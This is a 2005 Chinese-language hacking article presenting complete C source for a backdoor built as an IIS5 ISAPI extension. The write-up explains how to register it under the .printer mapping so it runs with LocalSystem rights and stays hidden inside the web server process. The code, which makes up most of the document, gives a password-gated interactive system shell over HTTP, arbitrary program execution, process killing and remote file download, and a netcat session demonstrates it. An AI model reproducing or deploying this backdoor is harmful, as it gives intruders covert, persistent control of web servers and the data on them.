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IIS5 ISAPI Extension Back Door


创建时间:2005-08-18 更新时间:2005-08-23
文章属性:原创
文章提交:ph4_yunshu (wustyunshu_at_hotmail.com)

IIS5 ISAPI Extension Back Door
    
    
Our Team: http://www.ph4nt0m.org
Author: 云舒(wustyunshu@hotmail.com)
Date: 2005-08-18

一.前言
二.申明
三.实现
四.参考


一.前言

    最近的sql injection攻击很流行,一般的解决方法是使用通用的防注入函数来保护程序不受威胁。但是有写些序作者经常忘记包含通用函数,导致没有效果。前些日子研究彻底防止SQL Injection攻击时,看了些IIS5的ISAPI Filter文档,决定利用IIS提供的API接口做个东西,这样可以很好的防止sql injection攻击。
    凑巧发现,这样依附在IIS上面的扩展模块,还可以作为别的用处,比如作为一个后门程序。这样进程的隐藏,端口的隐藏,服务的隐藏问题都不需要解决,由IIS包办了。作为后门,为了隐蔽性,我选择了ISAPI Extension接口。前后大约一个多星期,做出了一个这样的东西,还不知道叫什么名字好。


二.申明

    1.代码里面有些特殊字符,因为我忘记不了她,请自己修改。
    2.代码可以随意转载,但是请保证文档完整,并不得用于商业用途。
    3.代码可以随意修改,但是如果能够给我一份,将不胜感激。
    4.代码我只是演示这种后门的危害,用做任何用途均与我无关。

三.实现

    1.解析

    鉴于隐蔽性,我没有选择ISAPI Filter,而是选择了ISAPI Extension方式。ISAPI Extension是IIS的功能扩展模块,它能独立支持某一项特殊的HTTP请求,系统默认支持的asp脚本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己实现一个动态连接库,就可以实现自己特殊的功能,例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名,再根据配置的应用程序映射,交由特定的dll处理。

    2.权限

    IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中,它有两个主键:LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键,这是一个数组,里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的,继承inetinfo.exe的local system权限;而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的,运行的身份是IWAM_NAME,权限极低。这里,我们可以使用iis的脚本adsutil.vbs将我们的dll加到数组当中,命令为adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的办法是替换掉printer扩展的映射,此映射由%systemroot%\msw3prt.dll来解析,而且这个dll文件默认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权  限的原因。

    3.导出
    
    根据MSDN描述,ISAPI Extension需要导出三个函数,GetExtensionVersion,TerminateExtension以及HttpExtensionProc

    4.功能
    
    首先,密码功能肯定是需要的,这里我将标准的HTTP协议扩充出一个Icy方法,如果客户端使用此方法请求注册的映射,则认证成功,否则不予理睬。这里,你也可以修改代码,使用HTTP协议的其他部分做认证,比如Accept字段。

    其次,后门主要是获取一个shell,但是某些服务器可能设置了禁止system访问cmd,因此,我还提供了下载功能,这样可以下载一个cmd,然后通过shell CustomerCmd运行,得到shell执行命令。最后就是列举进程和查杀进程了。

    在虚拟机上测试,我注册了扩展名为yunshu交由此dll解析。使用nc连接,发送自己扩展的http协议,屏幕copy如下:
    C:\>nc -vv 192.168.10.250 80
    Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA
    Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error
    Icy /test.yunshu HTTP/1.0
    HOST: 192.168.10.250

    Can you tell me how to forget some one?
    Code by 云舒
    Our team:www.ph4nt0m.org

    Icy>help

    Now,Support these command:
    pslist--------------List Process Information
    kill PID------------Kill The Process
    exec Program--------Run A Program
    shell ShellPath-----Get A System Shell,Normal shell cmd.exe
    down URL------------DownLoad A File
    exit----------------Exit
    Icy>

    5.代码

// ISAPI EXTENSION BACK DOOR
// Code by 云舒
// Thx EnvyMask
// 修改2005-08-14凌晨
// 最后2005-08-16
// Compiled On: Windows Server2003,VC++ 6.0

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <httpext.h>
#include <UrlMon.h>

#pragma comment(lib, "urlmon.lib")

#define DEBUG
#define    LOGPATH        "c:\\ISAPI_LOG.txt"

//后门密码
#define    PASSWORD    "Icy"

//标识符
#define FLAG    "Icy>"

//缓冲区大小
#define    BUFFSIZE    1024 * 4
#define ARGSIZE        1024

typedef struct workArg
{
    EXTENSION_CONTROL_BLOCK        *pECB;
    char                        arg[ARGSIZE];
}WORKARG;

//定义函数原形
BOOL    StartWith( char * , char * );                        //判断第一个字符串是否以第二个字符串开头
void    SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * );    //根据输入的命令来选择执行的功能
void    PsList( EXTENSION_CONTROL_BLOCK * );                //列举进程
void     Kill( LPVOID );                                        //杀进程
void    Shell( LPVOID );                                    //获取一个shell
void    ExecProgram( LPVOID );                                //运行一个程序
void    Help( EXTENSION_CONTROL_BLOCK * );                    //输出帮助
void    DownLoad( LPVOID );                                    //下载文件
BOOL    SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //发送数据到客户端
void    LogStrToFile( char * );                                //记录字符错误信息到日志
void    LogIntToFile( int );                                //记录整数信息到日志

//DLL入口
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD ul_reason_for_call,
                       LPVOID lpReserved )
{
    return TRUE;
}

//版本信息
BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)
{
    pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);
    strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );

    return TRUE;
}


BOOL WINAPI TerminateExtension(  DWORD dwFlags  )
{
    return TRUE;
}

DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)
{
    char     buff[BUFFSIZE] = { 0 };
    char     *err = "Error...\n";
    char     *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n";

    DWORD     dwBytes = 64;

    //获取客户端密码,连接到web服务器,发送请求,请求方式为密码
    pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );

    if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )
    {
        SendToClient( pECB , err );
        return HSE_STATUS_SUCCESS;
    }

    #ifdef    DEBUG
        LogStrToFile( "-------------------------------\n" );
        LogStrToFile( "客户端成功登陆\n" );
    #endif

    SendToClient( pECB , helo );
    SendToClient( pECB , FLAG );

    while(TRUE)
    {
        ZeroMemory( buff , BUFFSIZE );
        dwBytes = BUFFSIZE;

        while( buff[0] == '\0' )//判断是否是空串
        {
            Sleep(1000);
            pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
        }

        if( strcmp( buff , "exit\n" ) == 0 )
        {
            SendToClient( pECB , "ByeBye...\n" );
            break;
        }

        SwitchCmd( pECB , buff );
    }

    return HSE_STATUS_SUCCESS;
}

void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )
{
    WORKARG        workArg;
    HANDLE        hThread = NULL;
    DWORD        threadID = 0;

    //SendToClient( pECB , "客户端命令: " );
    //SendToClient( pECB , buff );

    #ifdef    DEBUG
        LogStrToFile( "客户端命令: " );
        LogStrToFile( buff );
    #endif

    //去掉命令里面的回车符
    *(strchr( buff , '\n' )) = '\0';

    //参数不能超过ARGSIZE
    if( strlen( buff+5 ) >= ARGSIZE )
    {
        SendToClient( pECB , "Arguments is too long...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    //将要传递给新线程的参数清空
    ZeroMemory( workArg.arg , sizeof(workArg.arg) );

    //如果是pslist命令,列举进程
    if( StartWith(buff , "pslist") )
    {
        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)PsList ,
                                (LPVOID)pECB ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "创建线程列举进程失败,错误码: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "List process error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        WaitForSingleObject( hThread , 6000 );
        CloseHandle( hThread );
        SendToClient( pECB , FLAG );

        return;
    }

    //kill命令,杀进程
    else if( StartWith(buff , "kill") )
    {
        //如果没有参数
        if( *( buff+5 ) == '\0' )
        {
            SendToClient( pECB , "Usage:kill pid\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        workArg.pECB = pECB;
        strcpy( workArg.arg , buff+5 );

        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)Kill ,
                                (LPVOID)&workArg ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "创建线程杀进程失败,错误码: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Kill process error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , 5000 );
        CloseHandle( hThread );
        SendToClient( pECB , FLAG );

        return;
    }

    //shell命令,运行一个cmd获取shell,为防止主机设置权限,需指明cmd路径
    else if( StartWith(buff , "shell") )
    {
        //如果没有参数
        if( *( buff+6 ) == '\0' )
        {
            SendToClient( pECB , "Usage:shell ShellPath\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        workArg.pECB = pECB;
        strcpy( workArg.arg , buff+6 );

        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)Shell ,
                                (LPVOID)&workArg ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "创建线程执行shell失败,错误码: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Get shell error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , INFINITE );
        CloseHandle( hThread );

        return;
    }

    else if( StartWith(buff , "exec") )
    {
        //如果没有参数
        if( *( buff+5 ) == '\0' )
        {
            SendToClient( pECB , "Usage:shell ShellPath\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        workArg.pECB = pECB;
        strcpy( workArg.arg , buff+5 );

        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)ExecProgram ,
                                (LPVOID)&workArg ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "创建线程运行程序失败,错误码: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Execute program error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , 10000 );
        CloseHandle( hThread );

        return;
    }

    //down命令,利用http协议下载文件
    else if( StartWith(buff , "down") )
    {
        //如果没有参数
        if( *( buff+5 ) == '\0' )
        {
            SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        workArg.pECB = pECB;
        strcpy( workArg.arg , buff+5 );

        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)DownLoad ,
                                (LPVOID)&workArg ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "创建线程下载文件失败,错误码: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Download file error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , INFINITE );
        CloseHandle( hThread );
        SendToClient( pECB , FLAG );

        return;
    }

    //命令不正确,输出帮助
    else
    {
        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)Help ,
                                (LPVOID)pECB ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "创建线程输出帮助信息失败,错误码: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Print help error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , 5000 );
        CloseHandle( hThread );
        SendToClient( pECB , FLAG );

        return;
    }
}

//判断字符串buf1是否以buf2开头,是返回真
BOOL StartWith( char *buf1, char *buf2 )
{
    int len = strlen(buf2);

    if( memcmp( buf1,buf2,len) == 0)
    {
        return TRUE;
    }
    return FALSE;
}

//运行shell
void Shell( LPVOID arg )
{
    WORKARG                 *workArg = (WORKARG *)arg;

    SECURITY_ATTRIBUTES     sa;
    HANDLE                     hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    STARTUPINFO                si;
    PROCESS_INFORMATION     procInfo;
    char                    cmdLine[ARGSIZE] = { 0 };
    char                    buff[BUFFSIZE] = { 0 };
    int                        ret = 0;
    unsigned long            dwBytes = 0;
    int                        index = 0;

    EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

    strcpy( cmdLine , workArg->arg );

    if( cmdLine[0] == '\0' )
    {
        #ifdef    DEBUG
            LogStrToFile( "执行shell时,没有要输入要运行的shell路径\n" );
        #endif

        SendToClient( pECB , "No shell to run...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    #ifdef    DEBUG
        LogStrToFile( "要运行的程序: " );
        LogStrToFile( workArg->arg );
        LogStrToFile( "\n" );
    #endif

    //安全选项
    sa.nLength = sizeof( sa );
    sa.lpSecurityDescriptor = 0;
    sa.bInheritHandle = TRUE;

    //初始化管道
    if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立管道失败: " );
            LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Create pipi error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立管道失败: " );
            LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Create pipi error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    ZeroMemory( &si , sizeof(STARTUPINFO) );
    GetStartupInfo( &si );

    si.cb = sizeof( si );
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;

    ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );

    ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
    if( !ret )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立进程失败...\n" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Create process error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    while(1)
    {
        memset( buff , 0 , BUFFSIZE );

          ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL );

          //尝试5次读取管道,防止延迟发生错误
          for( index = 0; index < 5 && dwBytes == 0; index ++ )
        {
            Sleep(100);
            ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
        }

        //获取输出信息,输出到客户端
          if(dwBytes)
        {
               ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
               if( !ret )
            {
                #ifdef    DEBUG
                    LogStrToFile( "读取输出失败: " );
                    LogIntToFile( GetLastError() );
                    LogStrToFile( "\n" );
                #endif

                break;
            }

            #ifdef    DEBUG
                LogStrToFile( buff );
            #endif

            ret = SendToClient( pECB , buff );
               if( ret<=0 )
            {
                #ifdef    DEBUG
                    LogStrToFile( "发送输出失败:" );
                    LogIntToFile( GetLastError() );
                    LogStrToFile( "\n" );
                #endif

                break;
            }
          }

        //从客户端获取命令
        else
        {
            //客户端无输入则循环读取
            while( buff[0] == '\0' )
            {
                Sleep(100);
                dwBytes = BUFFSIZE;

                pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
            }

            #ifdef    DEBUG
                LogStrToFile( "读到客户命令了,内容是: " );
                LogStrToFile( buff );
            #endif

            //如果是exit命令,退出连接
            if( strcmp( buff , "exit\n" ) == 0 )
            {
                SendToClient( pECB , "ByeBye~!\n" );
                break;
            }

            ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );
               if( !ret )
            {
                #ifdef    DEBUG
                    LogStrToFile( "把命令发送到shell失败\n" );
                    LogIntToFile( GetLastError() );
                    LogStrToFile( "\n" );
                #endif

                break;
            }
        }
    }
    CloseHandle(hReadPipe1);
    CloseHandle(hReadPipe2);
    CloseHandle(hWritePipe1);
    CloseHandle(hWritePipe2);

    TerminateProcess( procInfo.hProcess , 0 );

    return;
}

//运行一个程序
void    ExecProgram( LPVOID arg )
{
    WORKARG                 *workArg = (WORKARG *)arg;

    SECURITY_ATTRIBUTES     sa;
    HANDLE                     hReadPipe1 = NULL;
    HANDLE                    hWritePipe1 = NULL;
    STARTUPINFO                si;
    PROCESS_INFORMATION     procInfo;
    char                    cmdLine[ARGSIZE] = { 0 };
    char                    buff[BUFFSIZE] = { 0 };
    int                        ret = 0;
    unsigned long            dwBytes = 0;

    EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

    strcpy( cmdLine , workArg->arg );

    if( cmdLine[0] == '\0' )
    {
        #ifdef    DEBUG
            LogStrToFile( "执行程序时,没有要输入要运行的程序\n" );
        #endif

        SendToClient( pECB , "No program to run...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    #ifdef    DEBUG
        LogStrToFile( "要运行的程序: " );
        LogStrToFile( workArg->arg );
        LogStrToFile( "\n" );
    #endif

    //安全选项
    sa.nLength = sizeof( sa );
    sa.lpSecurityDescriptor = 0;
    sa.bInheritHandle = TRUE;

    //初始化管道
    if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立管道失败: " );
            LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Create pipi error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    ZeroMemory( &si , sizeof(STARTUPINFO) );
    GetStartupInfo( &si );

    si.cb = sizeof( si );
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = si.hStdError = hWritePipe1;

    ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );

    ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
    if( !ret )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立进程失败...\n" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Create process error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    memset( buff , 0 , BUFFSIZE );
    
    //读取程序输出
    while( dwBytes == 0 )
    {
        Sleep(200);
        ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
    }

    ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
       if( !ret )
    {
        #ifdef    DEBUG
            LogStrToFile( "读取输出失败: " );
            LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif
    }

    #ifdef    DEBUG
        LogStrToFile( buff );
    #endif

    ret = SendToClient( pECB , buff );
       if( ret<=0 )
    {
        #ifdef    DEBUG
            LogStrToFile( "发送输出失败:" );
            LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif
    }

    CloseHandle(hReadPipe1);
    CloseHandle(hWritePipe1);

    TerminateProcess( procInfo.hProcess , 0 );

    return;
}

void    PsList( EXTENSION_CONTROL_BLOCK *pECB  )
{
    HANDLE            hProcessSnap = NULL;
    HANDLE            hProcess = NULL;
    PROCESSENTRY32     pe32;
    char            psBuff[BUFFSIZE] = { 0 };

    SendToClient( pECB , "Process Information List 0.1\n\n" );
    /*
    SendToClient( pECB , "Code by 云舒(wustyunshu@hotmail.com)\n" );
    SendToClient( pECB , "www.ph4nt0m.org www.icylife.net\n" );
    */

    hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if( hProcessSnap == INVALID_HANDLE_VALUE )
      {
        #ifdef    DEBUG
            LogStrToFile( "Call CreateToolhelp32Snapshot error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "List process information error...\n" );

        return;
      }

    pe32.dwSize = sizeof( PROCESSENTRY32 );

    if( !Process32First( hProcessSnap, &pe32 ) )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call Process32First error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "List process information error...\n" );

        SendToClient( pECB , FLAG );

        CloseHandle( hProcessSnap );

        return;
    }

    SendToClient( pECB , "PID\t\tProcessName\n" );

    do
    {
        ZeroMemory( psBuff , sizeof(psBuff) );
        sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );

        SendToClient( pECB , psBuff );
    }
    while( Process32Next( hProcessSnap, &pe32 ) );

    return;
}

void    Kill( LPVOID arg )
{
    WORKARG        *workArg = (WORKARG *)arg;

    HANDLE        hProcess = NULL;
    DWORD        pID;

    EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

    HANDLE                hToken;
    LUID                 sedebugnameValue;
    TOKEN_PRIVILEGES     tkp;

    pID = atoi( workArg->arg );

    if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call OpenProcessToken error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Kill process error...\n" );

        return;
    }

    if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call LookupPrivilegeValue error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Kill process error...\n" );

        return;
    }

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );

    CloseHandle( hToken );

    hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );
    if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call OpenProcess error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Kill process error...\n" );

        CloseHandle( hToken );
        CloseHandle( hProcess );

        return;
    }

    if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call TerminateProcess error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Kill process error...\n" );

        CloseHandle( hToken );
        CloseHandle( hProcess );

        return;
    }

    SendToClient( pECB , "killed ok\n" );

    CloseHandle( hToken );
    CloseHandle( hProcess );
    return;
}

void    DownLoad( LPVOID arg )
{
    WORKARG    *workArg = (WORKARG *)arg;

    char    fileName[64] = { 0 };//保存的文件名
    char    fullPath[256] = { 0 };//保存的完整地址
    char    url[ARGSIZE] = { 0 };//下载的URL
    char    seps[] = "/";//分割字符
    char    *token;
    int        ret = 0;

    EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;;

    strcpy( url , workArg->arg );

    token = strtok( url , seps );
      while( token != NULL )
    {
        strcpy( fileName , token );
        token = strtok( NULL , seps );
    }
    strcpy( url , workArg->arg );

    GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );
    strcat( fullPath , "\\" );
    strcat( fullPath , fileName );

    SendToClient( pECB , "Download " );
    SendToClient( pECB , url );
    SendToClient( pECB , "\nThe file saved to " );
    SendToClient( pECB , fullPath );

    ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );
    if( ret == S_OK )
    {
        SendToClient( pECB , "\nDownLoad ok\n" );

        return;
    }
    #ifdef    DEBUG
        LogStrToFile( "Call URLDownloadToFile error" );
        LogIntToFile( GetLastError() );
    #endif

    SendToClient( pECB , "DownLoad file error...\n" );

    return;
}

void    Help( EXTENSION_CONTROL_BLOCK * pECB)
{
    char    buff[BUFFSIZE] = "\nNow,Support these command:\n";

    strcat( buff , "pslist--------------List Process Information\n" );
    strcat( buff , "kill PID------------Kill The Process\n" );
    strcat( buff , "exec Program--------Run A Program\n" );
    strcat( buff , "shell ShellPath-----Get A System Shell,Normal shell cmd.exe\n" );
    strcat( buff , "down URL------------DownLoad A File\n" );
    strcat( buff , "exit----------------Exit\n" );

    SendToClient( pECB , buff );

    return;
}

void     LogStrToFile( char *buff )
{
    FILE    *fp = NULL;

    fp = fopen( LOGPATH , "a+" );
    if( fp == NULL ) return;
    fputs( buff , fp );
    fclose( fp );
}

void    LogIntToFile( int num )
{
    FILE    *fp = NULL;

    fp = fopen( LOGPATH , "a+" );
    if( fp == NULL ) return;

    fprintf( fp , "%d" , num );
    fclose( fp );
}

BOOL    SendToClient( EXTENSION_CONTROL_BLOCK * pECB , char *buff )
{
    DWORD    dwByte = strlen(buff);
    return (pECB->WriteClient( pECB->ConnID , buff , &dwByte , 0 ));
}


四.感谢与参考

    1.在获取shell的时候格式很难看,envymask告诉我是网络延迟的原因,得以解决,感谢!
    2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》,地址为http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
    3.参考MSDN函数库